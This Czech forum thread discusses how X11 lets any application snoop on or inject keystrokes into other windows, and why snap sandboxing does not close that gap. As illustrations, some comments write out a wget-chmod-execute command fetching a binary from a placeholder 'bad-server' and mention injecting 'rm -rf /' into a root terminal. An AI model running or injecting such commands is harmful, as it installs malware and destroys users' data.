Stalo by za to poznamenat, ze to neni problem snapu jako takovych. Je to obecnejsi problem a se snapy to ma spolecne pouze to, ze ani snapy ho nedovedou vyresit.
Opravdu je to tak. Aplikace mimo nej si muze na tu ve snapu klidne zavolat ptrace a delat si s ni, co chce (v pripade, ze tedy nebezi vzdalene). Pokud se jeden program muze napojit na druhy a pristupovat mu libovolne do pameti, je dost zbytecne resit, zda mu nahodou nemuze i odposlouchavat klavesy.
V kostce jde o to, že jakákoli aplikace pod X11 může v principu posílat události do oken patřících jiným aplikacím (např. simulovat kliknutí myší), nebo odposlouchávat, co se v těchto oknech děje.
Je tomu tak od té doby, co se používá X11 a systém snapů v tomto ohledu neznamená žádnou novou bezpečnostní díru. Jenomže snapy mají za cíl izolovat jednotlivé aplikace od sebe navzájem i od OS tak, aby případná aplikace, která obsahuje malware, neměla přístup k žádným jiným souborům a tedy pokud možno nemohla moc škodit (na rozdíl od současné situace, kdy každá aplikace, kterou spustíte, má neomezený přístup k celému vašemu home). Snap toto zaručuje, ale, jak uvedeno v článku, tato izolace zatím není dokonalá vzhledem k onomu starému problému s X11. Toť vše.
Diky moc.
Tusil jsem ze jde o bouri ve sklenici vody. Jde o vlastnost, nikoli chybu X11 a celkem mi prijde zbytecny ze nekdo kvuli demonstraci zbastlil appku, kdyz ve standardni instalaci Xorg je k dispozici utilita xev, ktera dela prakticky to same.
Izolace Xkovych klientu je sice pekny napad a IMHO resitelny primo v Xserveru za cenu zpetne nekompatibility,ale prijde mi jako polovicate reseni kdyz keylogger se muze infikovat jako rodicovsky proces treba toho browseru a prepsani ulozenych SSH klicu nebo primo rm -rf na domovsky adresar nezabrani uz vubec.
To je problém X11. Každý stisk klávesy, posun ukazatele myši, minimalizace okna atd. je událost, X11 event. Aplikace mají message loop, do kterého tyhle události dostávají, a podle nich pak fungují. Průšvih je v tom, že každá aplikace může poslouchat všechny X11 events, a může je také volně posílat.
Proto když máte otevřené piškvorky, tak mohou naslouchat stiskům kláves v okně terminálu, který běží pod rootem (včetně hesel). A pochopitelně piškvorky mohou i poslat terminálu běžícímu pod rootem falešné stisky kláves, včetně například "rm -rf /". Obecně jakákoliv aplikace může dělat cokoliv.
Snappy s tím nemá nic společného, tedy vyjma toho že tenhle problém neřeší.
Jen dodam, ze by default to takhle nefunguje. Az tak stupidni to neni. Aplikace dostava pouze eventy, ktere se tykaji jen jejiho okna. Podivejte se na aplikace xev a xeyes.
Aplikace ale muze na sebe presmerovat eventy i z jinych oken. Coz je typicky to co dela windows manager. Presmeruje na sebe vsechny eventy a pak je posila dal.
Souhlas, aplikace normálně dostává jen eventy které se jí týkají. Při vytváření okna specifikujete události, která chcete dostávat. Pokud chcete i události z jiných oken, stačí projít strom oken a zaregistrovat se pro odběr událostí pomocí XSelectInput(), třeba takhle:
http://www.stllinux.org/meeting_notes/1997/0619/xkey.html
Otázka je, jestli (a jak) tenhle problém řeší Wayland a Mir. Máte k tomu někdo informace? V obou případech může být problémem požadavek na kompatibilitu s X11.
Tahle funkcionalita je vpodstate potrebna pouze pro nektere aplikace (window manager, gesta, zkratky, zpristupneni atd.), pro ostatni aplikace by se to dalo zariznout. Nekolik projektu todle resi, ale do mainstreemu se to IMO nedostane, protoze pro zneuziti je porad potreba exploitnout aplikaci, ktera ma pristup k displaji, a pak si najit neco, jak to zneuzit, coz v heterogenim svete X11 desktopu omezi pocet cilu tak, ze se tim nikdo nezabyva.
Bohužel těch výjimek je tolik, že to těžko zaříznout. Právě proto jsem se zajímal, jak podobná vypadá situace na Wyalandu a Miru.
Ad pro zneuziti je porad potreba exploitnout aplikaci, ktera ma pristup k displaji, a pak si najit neco, jak to zneuzit, coz v heterogenim svete X11 desktopu omezi pocet cilu tak, ze se tim nikdo nezabyva - to platí jen do doby než se vyskytne první exploit na browser, který do všech otevřených terminálů napíše "cd ~&&wget http://bad-server/dir/bad-executable&&chmod 777 bad-executable&&./bad-executable&&clear".
Ono je nejlepší si přečíst ten originální článek od Matthew Garretta. Odvozené články z toho často udělaly senzaci, ale o žádnou senzaci se nejedná. Ty bezpečnostní problémy existují i v tradičním modelu, který na Linuxu používáme od nepaměti. Některá prohlášení o snapech z nich dělala bezpečné řešení. Matthew jen ukázal, že to tak pořád úplně neplatí a že lidi nemají podléhat falešnému bezpečí. X11 je jedna věc, další je, že pořád neexistuje žádný mechanismus, jak aplikaci umožnit kontrolovaný a granulovaný přístup k datům mimo sandbox. Pokud aplikace potřebuje přístup k datům v /home, tak jí autor povolí přístup do celého /home (nebo klidně i celého hosta) a uživatel na to není během instalace ani nijak upozorněný.
Současná podoba snapů, XdgApp a podobných je krok správným směrem, ale ještě nás čeká hodně dlouhá cesta, než si budeme moct říct, že desktopové aplikace provozujeme na Linuxu opravdu zabezpečeným způsobem.
Není mi sice tak úplně jasné, jak hodláte používat Firefox bez X, ale v principu ano: jde o díru v X, takže pokud nemáte X, nemáte ani tu díru.
PS: pokud tím myslíte používat firefox přes síť se vzdáleným display, pak se vás ta díra samozřejmě týká. Důležitá jsou zobrazená okna, je jedno, kde konkrétně běží proces, kterému patří.
je v tom, že standardní DEBy z repository by měly být "zkontrolovány" vydavatelem, vydavatel pro to poskytuje "podporu" a běžný Pepík používá jen toto repository a neinstaluje sw volně se povalující na webu. To se přece propaguje jako zásadní rozdíl mezi Linuxem a MS Windows. Takže dosavadní díra v X prakticky tak moc nevadila.
Snapy mají blíž k volné distribuci kýmkoliv a tudíž běžný Pepík bude mít za chvíli disk plný odpadu, který najde na webu. A je záhodno, aby tento odpad nemohl dělat totéž co jakákoliv jiná X app.
Tak ale toto riziko přece u softwaru třetích stran existuje vždycky a dokonce i u často využívaných kusů, jako třeba shell se může objevit něco, čeho si do té doby nikdo nevšiml. Chci tím říct to, že označit to za bordel jenom proto, že je to z webu, není dle mne moc šťastné. Na druhou stranu, pokud si někdo napere každý den jen tak na test 5 nových programů stažených ať už jako archiv nebo z PPA tak mu stejně není pomoci, dříve čí později z toho bordel mít bude ....